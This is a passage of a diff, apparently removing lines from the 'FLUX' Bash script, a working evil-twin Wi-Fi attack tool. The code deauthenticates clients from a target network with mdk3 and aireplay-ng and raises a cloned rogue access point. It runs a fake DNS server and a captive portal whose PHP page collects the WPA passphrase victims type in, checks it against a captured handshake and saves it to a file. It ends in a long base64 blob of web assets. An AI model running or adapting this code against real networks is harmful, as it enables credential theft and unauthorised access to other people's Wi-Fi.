"$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - cp $DUMP_PATH/$Host_MAC-01.cap $DUMP_PATH/test.cap &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$blue""1)"$transparent" Web Interface" - echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$blue""1)"$transparent" English [ENG]" - echo -e "$blue""2)"$transparent" Spanish [ESP]" - echo -e "$blue""3)"$transparent" Italy [IT]" - echo -e "$blue""4)"$transparent" French [FR]" - echo -e "$blue""5)"$transparent" Portuguese [POR]" - echo -e "$blue""6)"$transparent" German [GER]" - echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" ACCESS POINT:\" - echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTS ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 